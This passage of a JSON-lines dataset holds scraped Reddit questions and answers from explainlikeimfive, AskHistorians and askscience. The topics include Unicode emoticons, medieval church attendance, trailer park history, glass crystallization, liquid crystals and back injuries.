africa](_URL_1_)\n\n\n\n\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.cfr.org/france/french-military-africa/p12578#p6", "http://descrier.co.uk/world/2013/01/gabon-to-mali-history-of-french-military-interventions-in-africa/"]]}
{"q_id": "44nvwi", "title": "what does the thalamo-cortical complex do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44nvwi/eli5_what_does_the_thalamocortical_complex_do/", "answers": {"a_id": ["czrkzy8"], "score": [12], "text": ["A glance at the Wikipedia article suggests to me that you might have better luck finding someone qualified to answer this in like, /r/askscience or something along those lines.\n\nAlso, obvious homework is obvious."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2dc68y", "title": "In medieval England, how \"mandatory\" was it for everyone to attend church services? Were there punishments for people caught skipping church?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2dc68y/in_medieval_england_how_mandatory_was_it_for/", "answers": {"a_id": ["cjoensb", "cjogt22"], "score": [1002, 20], "text": ["The shorter answer is that it kind of depends on what time period. Throughout most of the Middle Ages though, it wasn't mandatory at all. Mandatory church attendance is a Reformation thing -- Calvin supposedly was the first to put pews/ seats into his churches in Geneva so it would be easier to spot who was there and to make it socially harder for people to get up and leave in the middle of the service. Until then -- and this is difficult to envision nowadays -- the naves of churches were nearly empty. There was no seating at all. Services would be going on at the main altar or in side chapels and the rest of the church would either be (a) empty, or (b) filled with people just milling around. Pilgrims might be visiting shrines, beggars would be asking for charity, townsfolk would be conducting business or just chatting with others or looking on curiously at what was going on at the altars around them -- in a language they didn't speak (Latin), with the priests having their backs turned to the crowd and saying the mass softly but intently to no one in particular. \n\nThrough most of the Middle Ages, services were held by and for those who had a connection to God (priests, other religious, certain parts of the high aristocracy, etc.). The rest of the population was unimportant to the process of the mass - the conversation was between God and those who could talk to him and services were performed, like under the Israelites in the Old Testament, so that God would look kindly on the whole community. An individual's relationship with God was irrelevant, inconceivable, until the late Middle Ages (at the earliest). \n\n[This is an excellent collection of primary sources](_URL_0_) that will get you started on learning more about the actual practice of medieval Christianity. \n\n**[Edit]**: Some have picked up on my saying that people were \"milling around\" in the church. I didn't mean to be flip there but simply to suggest that people would be watching what's going on, talking with neighbors, chasing children who weren't paying attention, praying on their own at shrines, etc. Simply that there were a variety of activities. ", "Can someone answer this for early colonial America as well?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?id=5_IBsUkZ-pUC&amp;lpg=PR1&amp;pg=PR1#v=onepage&amp;q&amp;f=false"], []]}
{"q_id": "2rfmlf", "title": "how in many books i read, there's a typo i come across right away with no effort, and none of the editors caught it?", "selftext": "Even in very popular/big budget books I'll spot a typo first read through but the hundreds of people who read it before publishing somehow ALL missed it? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2rfmlf/eli5_how_in_many_books_i_read_theres_a_typo_i/", "answers": {"a_id": ["cnfer06", "cnfg6dp"], "score": [3, 2], "text": ["Depending on the book, it's probably not cost effective to check that closely. One or two typos won't hurt sales and finding them would cost a lot of money.\n\nIt could also be a printing issue. If the manuscript was correct, but a printing error caused a letter to get printed twice or something, you wouldn't notice until after printing and it wouldn't be worth it to scrap what's already been printed.\n\nAlso, are you sure they're typos? I didn't learn the rule about leaving the closing quotation mark off of a quoted paragraph if the same speaker is still speaking in the next paragraph until a few years ago and thought it was a typo every time I saw it before that.", "But you might have missed many more, it may be chance whether you see it or not."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "82kv62", "title": "what actually happens when you \"throw out\" your back?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/82kv62/eli5_what_actually_happens_when_you_throw_out/", "answers": {"a_id": ["dvav1bn", "dvawcpr"], "score": [2, 19], "text": ["Depending on what your vertebrae are like it could be something as simple as a pinched nerve to bulged or completely herniated discs/vertebrae.... all of it hurts", "\"Throwing out your back\" is basically a blanket term for \"sudden, acute back pain/injury\", but it can be a bunch of different things. It could be something more minor such as a spasm in the muscles surrounding your spine, but can go up to spraining the back ligaments, straining of the back muscles, or even rupturing a disc in your spine. Basically, if it's in pain for more than 24 hours you should get it checked out. The term \"throwing out your back\" is used very loosely nowadays "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "36liv9", "title": "When and how did trailer parks in the US emerge as a form of permanent housing for a significant number of people?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/36liv9/when_and_how_did_trailer_parks_in_the_us_emerge/", "answers": {"a_id": ["crfifmp"], "score": [62], "text": ["OK, being lazy seems not to work for me today, I'll try it myself\u2026 :)\n\nThe go-to guy for this topic seems to be [Andrew Hurley, history professor at the University of Missouri-St. Louis.] (_URL_0_)\n\nHe wrote [*Diners, Bowling Alleys, and Trailer Parks: Chasing the American Dream in the Postwar Consumer Culture*] (_URL_6_) (New York: Basic Books, 2001.)\n\n[Here's a review] (_URL_5_) if you have JSTOR access, and a lot of the text can be accessed on [GoogleBooks] (_URL_2_).\n\nHurley also made [a 33 minute film on the history of American trailer parks] (_URL_1_). \n\nI also found this [blog entry] (_URL_3_) which I'd consider a reasonably reliable source, considering [the author's (David Smith) credentials] (_URL_4_).\n\nSo trailer parks seem to have originated largely in the 1930s. People apparently started living in mobile homes permanently very soon after the first manufacturers began to produce them in larger numbers around 1930 (Hurley, p. 199), as a lot of people were on the move looking for work in the wake of the Great Depression (cf. also [\"Hoovervilles\"] (_URL_7_)). Some municipalities operated their own trailer camp sites.\n\nTrailer parks then really became a \"mass\" thing during World War II when \"most of the trailers manufactured privately \u2026, about 35,000 of them, were purchased directly by the federal government and then rented to defense workers and military personnel. \u2026 According to one estimate, about 200,000 trailers were in use during World War II, with about 60 percent of them located in defense areas\" (p. 204).\n\nAnd from there they went on to become a kind of lowest rung of the American Dream of home ownership in the postwar mass consumer society (which is what Hurley's book mostly focuses on) - never truly accepted if you think of the whole \"trailer trash\" discourse, including how they are depicted in movies, TV series etc.\n\nI'm not really knowledgable about this, just quickly patched this together \"from scratch\"; if anyone knows more, please add, as the question seems to interest a number of people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.umsl.edu/~umslhistory/faculty/hurley.html", "https://www.youtube.com/watch?v=3nfYb_SZztg", "https://books.google.com/books?id=TvQWBQAAQBAJ", "http://affordablehousinginstitute.org/blogs/us/2007/04/mobile_home_par.html", "http://www.affordablehousinginstitute.org/who-we-are/people/?person=david-a-smith", "http://www.jstor.org/stable/4127819?seq=1#page_scan_tab_contents", "https://www.worldcat.org/title/diners-bowling-alleys-and-trailer-parks-chasing-the-american-dream-in-the-postwar-consumer-culture/oclc/44634306", "http://en.wikipedia.org/wiki/Hooverville"]]}
{"q_id": "1949jr", "title": "how do they make those crazy ascii faces? \u10da(\u0ca0\u76ca\u0ca0\u10da)", "selftext": "What the hell! None of those are even typed symbols?\n\n(\u30ce\u0ca0\u76ca\u0ca0)\u30ce\u5f61\u253b\u2501\u253b | \n\nWhy am I so angry about this??\n\nI 'm gonna let off some steam.\n\n\u250f(-_-)\u251b\u2517(-_-\ufeff )\u2513\u2517(-_-)\u251b\u250f(-_-)\u2513\n\nOk, I'm more relaxed.\n\n\u00af\\_(\u30c4)_/\u00af\n\nWhere did they come from? How long does it take to create one of those symbols from scratch? How does it get implemented into the font \"world\"?\n\n\n\n\u0e2a\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47\u0e47_(\u30c4)_\u0e2a\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1949jr/how_do_they_make_those_crazy_ascii_faces_\u10da\u0ca0\u76ca\u0ca0\u10da/", "answers": {"a_id": ["c8knhhe", "c8kov38", "c8kp9p0", "c8kpis4", "c8kpljn", "c8kpp9m", "c8kppbi", "c8kprq0", "c8kpt3i", "c8kpx3g", "c8kpybx", "c8kpzv2", "c8kq33w", "c8kqa85", "c8kqckq", "c8kqn8c", "c8kr9tg", "c8kri45", "c8krugi", "c8ktvg9", "c8kucva", "c8kywuv", "c8lf0so"], "score": [1623, 56, 21, 7, 23, 31, 121, 8, 3, 2, 14, 13, 68, 2, 3, 2, 2, 4, 4, 4, 3, 2, 2], "text": ["Imagine I have a pen-pal in Russia; his name is Vladimir. Back when we used to send each other letters on paper, it was easy: I'd write in English, and he'd write me back in Russian.\n\nWhen computers came along, things suddenly got much more difficult for Vlad. I could write him letters in English just fine, but when he tried to write me back in Russian, he realized that his computer only had English letters!\n\nYou see, a lot of important inventions in computers were created in the USA, meaning that they were designed for people who spoke English. One of those inventions was ASCII, the American Standard Code for Information Interchange. ASCII is essentially a list of the 128 characters someone using a computer in English would need, along with the binary codes that represent them. ASCII contains all the upper and lowercase letters, numbers 0-9, and assorted punctuation and spacing. For example, the letter 'A' has a binary code of \"01000001\".\n\nAs the Internet became more and more popular, other languages started making their own lists of characters, because not everybody wanted to type everything in English. It got to be quite a mess, and you could never be sure that the binary code your computer thought meant \"A\" wouldn't mean \"\u0152\" on someone else's computer.\n\nTo simplify things, everybody got together and decided to create one, giant, list of every character in every language, along with a bunch of other characters (like $ and \u25ca) that people might need. They called that list \"Unicode\". While ASCII had a maximum of 128 different letters, Unicode has over 101,000!\n\nSince then, Unicode has taken over the Internet, and it's what pretty much everybody uses.\n\nYour question, then, is more accurately \"How do they make those crazy Unicode faces?\". **The answer is that all the characters you gave as examples are letters in other languages, or symbols people use.** For example, \"\u0ca0\" is a letter from the Kannada language, used in parts of India. It's pronounced \"tha\".\n\nThanks to Unicode, Vlad and I can email back and forth in the languages we're most comfortable in. Plus, I can throw in symbols like \"\u221e\", so he knows just how much he's gonna lose by next time we play Monopoly. \n\nEDIT: To whomever sent me the gold: you're amazing, thanks! Vlad and I thank you from the bottom of our hearts!", "\u0ca0 is from an Indian language/alphabet\n_URL_0_\n\n\u30ce,\u5f61 and \u30c4 are Japanese Katakana characters (used for foreign words)\n\n\u76ca is a Chinese/Japanese character\n\n\u0e2a\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49\u0e49 appears to be a Thai character\n\nThe rest appear to be different types of brackets", "In case anyone's curious, \u10da is the character used to represent the /l/ sound in Georgian, spoken in the South Caucasus.", "Those symbols are typed symbols, but not on English or even most European keyboards.\n\nThere are hundreds of languages in the world, and lots of completely different ways of writing them. In most Western languages we use one symbol for a vowel or a consonant. In other languages, like some Japanese letters, they use one symbol for a combination of a consonant and vowel. And yet other languages, like Chinese use one symbol for a whole word. (Chinese has over 2,000 letters!)\n\nSo the symbols weren't made to be used to make faces. They aren't \"ASCII faces\" technically at all because ASCII only contains, mostly, English and European letters, and not even all of those. \n\nBut people have gotten creative with foreign letters, found ones that look like parts of a face, put them together, and remembered how to do them (or save them in a file to copy / paste later). Just like people originally got creative with punctuation symbols like colon ':', dash '-', and parenthesis ')' to make :-) .", "\u0bf5\n\nI don't know what this is but i'd like to get the ascii code for it. ", " ( \u0361\u00b0 \u035c\u0296 \u0361\u00b0)", "For the record: ***NONE*** of this stuff is ascii. It's all **Unicode**.", "Well... you apparently seem to know what ASCII is. That's the first 95 characters that most people would tend to use, characters like \"A\", \"!\" and \"\"\". \n\nNow, somebody thought \"what about those characters that don't fit in ASCII? Can we add more?\". And so they did. First attempts were called ISO8859-N (for 15 forms of N). They were kind of usable, but only if somebody said which N they were using, and if you guessed wrong it was completely unreadable.\n\nThen somebody else dropped by and said, \"What if we just take all the characters  &  symbols we can think about and number them? Then we think of a way to put those symbols in short form and we're done\". That guy invented Unicode (which is the list of symbols) and UTF-8 / UTF-16 etc. (which is how to take those Unicode symbols and put them on disk). They include all sorts of odd symbols, including smileys and rarely-used things such as the dutch ij symbol and mathematical operators that not many people know of. They also include chinese and japanese letters, among others.\n\nAnd at this point, somebody noticed that if you take some of these symbols that they kind of look like something else. For instance, if you take \"\u30c4\", that kind of looks like a cutesy face. It's actually a [Japanese letter called Tsu](_URL_2_). [\u0ca0 is the Kannada \"tha\" letter, from south India](_URL_0_) and [\u76ca is a Chinese or Japanese character meaning Profit/Advantage](_URL_1_).\n\nSo those faces actually say something in some languages. The (\u30ce\u0ca0\u76ca\u0ca0)\u30ce\u5f61 face is a combination of four symbols from two languages (the weird slashes are also japanese). It only looks like a face. But the same could be said for O,O which is plain ASCII. It's just using more symbols from a longer list to make it look nicer.", "While we're on the topic, could someone explain how ASCII art is generated?", "Is the first face Aku?", "Since I'm (slowly) learning Japanese, I have an [IME](_URL_0_), which allows me to type in syllables \"ka\" and output kana \"\u304b\".\n\nIt has other neat features though. If I type in \"hoshi\" (star), I'll get a bunch of star symbols to choose from: \u2605\u2606\n\nIf I type in \"kaomoji\" I'll get about a thousand of the same kind of emoticons you're using here:\n\nYE\u2501\u2501\u2501\u2501\u2501\u2501 d(\u309c\u2200\u309c)b \u2501\u2501\u2501\u2501\u2501\u2501S\n\nThis is how most Japanese people enter the ones you see commonly.", "\u00a0\u00a0\u2206\n\n\u2206\u00a0\u2206", "I made these just by playing around with unicode characters. No rich text allowed!\n\nZoidberg:   \n\n     (\\|)  (\u00b0uuu\u00b0)  (|/)  \n_____________________________\nFull-body Zoidberg 1.0\n\n     (\\|)  (\u00b0uuu\u00b0)  (|/)  \n     \\\u203e\u203e\\  |____|  /\u203e\u203e/\n      \\  \\// \\/ |\\/  /\n       \\  / /   \\   /\n        \\/ |\u00b0    \\ /\n        /  |\u00b0     \\\n       /___|_______\\\n       \\           /\n        \\    |    /\n         \\   |   /\n          |__|__|\n          (\u028e/ \\\u028e)\n\n__________________________________________________________________\n3/4 view, looking away\n\n           (\u00b0uuu\u00b0 ) (|/)\n       (V)  |____| /\u203e\u203e/\n       \\\u203e\\ /|/   \\/  /\n        \\ //   \\ /  /\n         /|     \\ _/\n        / |        \\\n       /__|_________\\\n        \\          /\n         \\  \\     /\n          \\  |   /\n           |_|__|\n          (7/ (\u039b)\n__________________________________________________________________\nSlightly turned, looking towards camera, More shoulder (cheeky zoidberg?)\n\n           (\u00b0uuu\u00b0)  (|/)\n       (V)  |_/\u203e\\  /\u203e\u203e/\n       \\\u203e\\ /|/   \\/  /\n        \\ //   \\ /  /\n         /|     \\ _/\n        / |        \\\n       /__|_________\\\n        \\          /\n         \\  \\     /\n          \\  |   /\n           |_|__|\n          (7/ (\u028e)\n\n__________________________________________________________________\nScuttle\n\n        (\\/)  (\u00b0uuu\u00b0)  (\\/)  \n        \\\u203e\u203e\\  |____|  /\u203e\u203e/\n         \\  \\// \\/ |\\/  /\n          \\  / /   \\   /\n           \\/ |\u00b0    \\ /\n      /\u203e\u203e\\/   |\u00b0      \\/\u203e\u203e\\\n     |   |\\ __|_______/|   |\n      \\__|-___________-|__/\n       (\u028e/             \\\u028e)\n\n__________________________________________________________________\nArms Down\n\n           (\u00b0uuu\u00b0)  \n           |____| \n         /\u203e/ \\/ |\u203e\\\n        / / /    \\ \\  \n       / / |\u00b0     \\ \\\n      / /  |\u00b0      \\ \\\n     /_/___|________\\_\\\n    (\u028c)\\           /(\u028c)\n        \\    |    /\n         \\   |   /\n          |__|__|\n          (\u028e) (\u028e)\n\n__________________________________________________________________\nLeg extended (Hokey Pokey)\n\n     (\\/)  (\u00b0uuu\u00b0)  (\\/)  \"You put your left claw out, whynot?\"\n     \\\u203e\u203e\\  |____|  /\u203e\u203e/\n      \\  \\// \\/ |\\/  /\n       \\  / /   \\   /\n        \\/ |\u00b0    \\ /\n        /  |\u00b0     \\\n       /___|_______\\\n       \\            \\\n        \\    |\\      \\\n         \\   |  \\     \\\n          |__|    \\ ___\\\n          (\u028e/        (|\\)\n\n\n__________________________________________________________________\nClaw-Plach\n                 \n              (\\\u203e|\u203e/\n        (\\/) ( \u00b0uuu\u00b0)  (\\/)  \n        \\\u203e\u203e\\  |____|  /\u203e\u203e/\n         \\  \\// \\/ |\\/  /\n          \\  / /   \\   /\n           \\/ |\u00b0    \\ /\n      /\u203e\u203e\\/   |\u00b0      \\/\u203e\u203e\\\n     |   |\\ __|_______/|   |\n      \\__|\\___________/|__/\n       (\u028e/             \\\u028e)\n\n\n__________________________________________________________________\nZoidy 2.0 (Slightly turned)\n\n             _____\n           (\u00b0((( > \u00b0 )(|/)\n       (V)  |_____|/\u203e\u203e\u203e/\n       \\\u203e\u203e\\/|/    /   /\n        \\ //   \\ /   /\n         /|     \\   /\n        / |      \\_/\n       /__|_________\\\n        \\           /\n         \\  \\      /\n          \\  |    /\n           |_|___|\n          (7/ (/\\)", "I just want to know how people do the David Caruso one with the sunglasses. It has been driving me crazy!", "Is there some kind of website or something where I can just copy and pasta the emotes than having to manually type the unicodes each and every time?", "Well, \"\u10da\" is Georgian \"L\"  ", "I feel a little dumb for asking but is there an easy way to get all those characters on a tablet's keyboard? I don't have access to a proper keyboard.", "\u76ca = Japanese kanji for benefit/gain  \n\u5f61 = Kanji for something to do with hair... not sure what.  \n\u30c4 = Katakana for 'tsu'", "Have some of this t(-_-)t", "Just to let everyone know, [there is a unicode block *for* emoticons](_URL_0_) that nobody uses. \ud83d\ude0e\n\nIf you can't see them, switch your font to deja-vu sans, it is one of the most unicode complaint fonts, and you probably have it available.\n\nAlso, who the hell added the \"see / hear / speak no evil monkies\" as unicode characters. (u1F648 to u1F65A)", "I was hoping this thread would spur a response with all the funny faces.  I like the skeptical one  & #3232;\\_ & #3232; but I want the smiling one and it comes up so rarely I haven't had a chance to copy it.", "TLDR: They're letters from other (mostly non-European) written languages", "Sorry. The only trick I know is boobs...\n(.)Y(.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Kannada_alphabet"], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Kannada_alphabet", "http://en.wiktionary.org/wiki/%E7%9B%8A", "http://en.wiktionary.org/wiki/%E3%83%84"], [], [], ["http://en.wikipedia.org/wiki/Input_method_editor"], [], [], [], [], [], [], [], [], ["http://www.fileformat.info/info/unicode/block/emoticons/list.htm"], [], [], []]}
{"q_id": "18ifmp", "title": "How did the travel and tourism industry recover after WW2 specifically in Europe?", "selftext": "When was it that countries were happy to open up their borders to allow tourists in and how were German tourists in England or English tourists in Germany treated or respected in the first five years post WW2?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18ifmp/how_did_the_travel_and_tourism_industry_recover/", "answers": {"a_id": ["c8f2x7g"], "score": [3], "text": ["I'll go a bit off topic here but wanted to make sure that an important fact gets mentioned: Mass tourism  as we know it today didn't really exist until the 1950s or 1960s and was, at least for Germany, an invention of the Nazis through \"Kraft durch Freude\" which offered cruises and holidays on beaches (They bought *Prora* on the island of R\u00fcgen for that: _URL_0_)\n\nSo, basically, there was no tourism industry that needed to recover in Germany. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.greensmilies.com/wp-content/uploads/2007/11/dsc09840.JPG"]]}
{"q_id": "73x7ny", "title": "the importance of error propagation", "selftext": "I'm doing a lab report on this but how is this significant (pun intended)? Sure maybe one of the measurements is really imprecise and that could throw off the final answer but if I wanted to explain it to others so they see why it's important that would be helpful.  ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/73x7ny/eli5_the_importance_of_error_propagation/", "answers": {"a_id": ["dnttlat", "dntzfy0"], "score": [2, 8], "text": ["This isn't really chemistry specific, but it's a very good question.\n\nWhen you give someone a numerical answer you have to go with the least precise measurement you have because *you don't know* the answer to a greater degree of accuracy. \n\nIf my equipment says something is 32 degrees, but I eyeball it and guess 32.3, that .3 is a guess and holds no place in scientific inquiry. The measurement is 32.\n\nThis same concept applies across all measurements. Significant digits are important because they keep the guesswork out of science to the degree that we can measure (pun intended).", "Easiest way to explain this is a visual example. \n\nYou want to make a 4 legged table that\u2019s 4 feet tall. So you go out and buy a 16\u2019 2x4. You measure out the first leg with a measuring tape. 4 feet. Cool, now you cut the first leg. \n\nNow why would you go through the whole process of measuring, marking, and cutting again? You already have a leg cut out, so just use that right?it\u2019d be much more efficient. Now repeat - use the second leg to measure the third leg, then the third to do the fourth. \n\nOkay great you have all four legs. Now attach to the tabletop. Crap, it\u2019s all wobbly and unlevel. What happened???\n\nWell the first leg was 4 feet measured. Then when you cut it you probably shaved a little extra off, so now that super small error has propagated to the next leg. And the next, and so on. The 4th leg is probably almost a full half inch off!\n\nVery small errors can accumulate completely unnoticed until you see the final result. This can happen with rounding errors (watch the movie Office Space for a great example), real life measurements, etc. \n\nHope this helps!!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4j1q8t", "title": "If you slowed down the cooling of glass to a solid, could it form a crystalline structure?", "selftext": "From reading it seems that glass is an amorphous solid because it cools too quickly for the molecules to line up.  If you were to slow down the cooling process enough, could it form a crystalline structure?  If so, would the properties of the glass change in any noticeable way?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4j1q8t/if_you_slowed_down_the_cooling_of_glass_to_a/", "answers": {"a_id": ["d3372g2", "d33lm90", "d33q2s4", "d349d1e"], "score": [9, 2, 3, 2], "text": ["I have done some glassworking in my past and seen what you are imagining. You sometimes see [crystal-like flakes and roughness](_URL_0_) on the surface of handmade glassware. That's glass's crystalline phase. It is brittle, rough and considered a defect.\n\nUsually this is caused by overheating of the surface during the firing process; glass becomes doughy and workable before it stops being glass, and can be recooled into a finished piece without ever losing its vitreousness. If you heat it too much then it has the opportunity to recool as a crystal instead.", "Yes crystalline \"glass\" can be formed this way, but it is difficult. The crystalline form of these glasses are the more thermodynamically favourable products but the formation is limited by the kinetics of the phase transition.\n\n**Extra:** [here](_URL_0_) is a ~~TEM~~ STM image of silica with amorphous and crystalline regions.\n\n**Edit:** to quickly answer the last part of your question: yes. The crystal structure of any material plays a major role in determining it's properties.\n\n**Edit 2:** The image I shared was from STM not TEM.", "Yes. We had a glass melting tank, capacity around 1200 ton that was drained about half way before it was plugged back up and the heat turned off. It was then allowed to just cool down on its own. This tank was never going to be used again as we switched from plate glass operation to a float operation and this was set up on a different line. The old tank after it cooled you could go in and see large patches of crystalline glass.    \nAs a side note it would have made one hell of a dance location. White silicon arched ceiling and solid glass floor with crystal structure running throughout it under the surface. Size was about 10 foot overhead in center of tank and about 30 foot wide and almost 75 foot long.", "Quartz is what crystalline SiO2 is known as (although \"fused quartz\" is an industry term which means amorphous SiO2 glass).  Borosilicate glass will also crystallize if it is held for a long enough time at appropriate temperatures. A number of properties, from optical to mechanical, change upon crystallization."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.clearwaterglass.com/Tutorials/Devitrification.html"], ["http://cdn.phys.org/Newman/gfx/news/hires/2012/2-clearviewint.jpg"], [], []]}
{"q_id": "3r7s24", "title": "what is the point of using pdfs when you could just send a .doc or .txt or whatever?", "selftext": "Do PDFs have any advantages over other text files?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3r7s24/eli5what_is_the_point_of_using_pdfs_when_you/", "answers": {"a_id": ["cwlm95z", "cwlm9ts", "cwlma2g"], "score": [3, 5, 2], "text": ["Do you know any free program that can reliable display .docs? The problem is that not everyone has acces to MS Office or equivalent. .pdf files provide plenty of formatting options, while also ensuring that everyone can at least open them and see the same document. ", "A PDF will always look the same regardless of what device your viewing  it on. It's the best way to show someone exactly how something will look without their personal device settings changing it.", "Plain .txt files don't have formatting, so they don't look pretty.  On the other hand, .doc/.docx files require the receiver to have a very expensive software package (Microsoft word), which they might not have.  The PDF acronym stands for \"portable document format\".  The program that reads it is free, and built into browsers without regard for operating system.  Plus, you can't change it without leaving traces, so the people you send it to can't change it and send it to other people blaming you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "iqklm", "title": "Why do my nose itch when I brush my teeth?", "selftext": "Sometimes, when I brush my teeth using an electric toothbrush, I get an extreme itch inside my nose? My brother says he has felt the same thing. What is causing this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iqklm/why_do_my_nose_itch_when_i_brush_my_teeth/", "answers": {"a_id": ["c25vagu"], "score": [2], "text": ["My best guess is that the vibration from the toothbrush is causing the hairs in your nose to vibrate, giving you the sensation of an itch."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7ucpgh", "title": "how do superbugs work? how are they formed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ucpgh/eli5_how_do_superbugs_work_how_are_they_formed/", "answers": {"a_id": ["dtj9jk9", "dtjxrh3"], "score": [5, 2], "text": ["When people don\u2019t take all of their antibiotics to cure a bacterial infection it\u2019s like natural selection on steroids. Some of those bacteria form resistance to the antibiotics.\n\nThis is why doctors *should* be careful about prescribing unnecessary antibiotics.", "The term \u201csuperbug\u201d refers to a bacterium that is highly resistant to our antibiotics.\n\nImagine the following scenario. There is a colony of 1,000,000,000 bacteria (all are of course single-celled). By random chance, 1 bacterium has a mutation in its DNA that makes its ribosomes (the organelles, or molecular machines, cells use to assemble important proteins they need to grow and reproduce) slow and klunky and overall not very efficient. This bacterium with the mutated ribosome is going to be outcompeted by the 999,999,999 other bacteria in its colony and it\u2019s going to die.\n\nNow imagine that there is an antibiotic that works by binding to bacterial ribosomes (as many antibiotics do) and stopping them from working properly. The 999,999,999 bacteria in the colony with normal ribosomes are going to be killed by the antibiotic. However, the antibiotic might not be able to recognise or bind to or stop our 1 mutated bacterium because its ribosome is mutated and different from the normal ribosomes of other bacteria. Suddenly, as the 1 in 1,000,000,000 bacteria from the colony who survived, it now has access to all the nutrients; there are no normal bacteria left to compete with it. So now, even though it has that klunky ribosome, it is free to grow and reproduce as much as it wants.\n\nIn this way, a mutation that was originally harmful ended up saving this bacterium\u2019s life and allowing it to reproduce. Now there are more bacteria with the mutation that aren\u2019t affected by the antibiotic. In this way, our bacterium has achieved antibiotic resistance.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7obdo4", "title": "What is the LC in a LCD?", "selftext": "Every article I literally just refers to it as \"Liquid Crystal,\" but what type of crystal, how is it made into a liquid? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7obdo4/what_is_the_lc_in_a_lcd/", "answers": {"a_id": ["ds8aafp", "ds8anr0"], "score": [30, 10], "text": ["Liquid crystals are neither fully liquid nor fully crystalline. It's an in-between state, and the liquid crystals can often (depending on what kind of liquid crystal it is) flow like a liquid, while the molecules still tend to line up in a crystal structure.\n\nThe liquid crystals in industrial applications tend to be based on rod-shaped organic molecules that exhibit mutual attraction. So they line up next to each other in a crystal-like manner while still being able to flow.\n\nBiphenyls and triphenyls are commonly used compounds, but there are endless examples. Cell membranes in biology are also liquid crystals.", "Liquid Crystal isn't really a specific material, it's a state of matter. Liquid Crystal in particular is somewhere between solid and liquid. It's intermolecular structure is fixed in some ways but not others. There are many kinds of Liquid Crystal - the ones commonly used in displays have their molecules aligned in layers, but the orientation of the molecules may vary. You can adjust the orientations by subjecting the liquid crystal to an electric field. By controlling it in this way, we can change the amount of light that can pass through, enabling us to create an electronic display.\n\nSide note: \"LCD displays\" should really be called \"LCD-LED displays\", because they need both the light source (the LEDs) and the filter (the LC) to create an image."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "v9yf2", "title": "What does it mean when you \"throw out your back\"?", "selftext": "I've never actually done it, and googling the question returns no useful results.\n\nAt a biological level, what happens?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/v9yf2/what_does_it_mean_when_you_throw_out_your_back/", "answers": {"a_id": ["c52m7k1", "c52m8di", "c52mb4t"], "score": [4, 2, 10], "text": ["You're probably thinking of a [\"Spinal Disc Herniation\"](_URL_0_), but in contemporary usage it can mean any number of spinal injuries.  ", "Sudden onset of generally severe pain in the back (often lower back) usually occurring when performing some sort of lifting, stretching, or other motion.  Possible causes are numerous (slipped disk, ruptured disk, arthritis, muscle spasm, tumor, infection, fracture, etc.) and in many cases the cause remains undiagnosed.", "It's not really a specific condition, but more so a general way of describing (typically lower) back pain. There can be a lot of things at play here. Usually it's just a strained muscle and will heal with just some basic rest, but sometimes it can be something a bit more serious like a herniated (slipped) disc. When this happens one of the discs in your (again usually lower) back has torn part of its fibrocartilage and has a bit of the softer inner squishy bits protruding from it. Usually quite painful, but will often heal on its own given enough time (occasionally requires surgical intervention).\n\nMuscle strains are a fairly straightforward process (over exertion causes muscle tear), but actual vertebral injuries are almost always a result of prolonged \"wear and tear\". Too much pressure over too much time causes something to shift where it shouldn't be shifted. Pretty natural part of the aging process (but overall your lower back is a champ), but clearly doing hard physical labor can significantly speed up the process.\n\nAnd that, kids, is why you always lift with your legs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Herniated_disc"], [], []]}
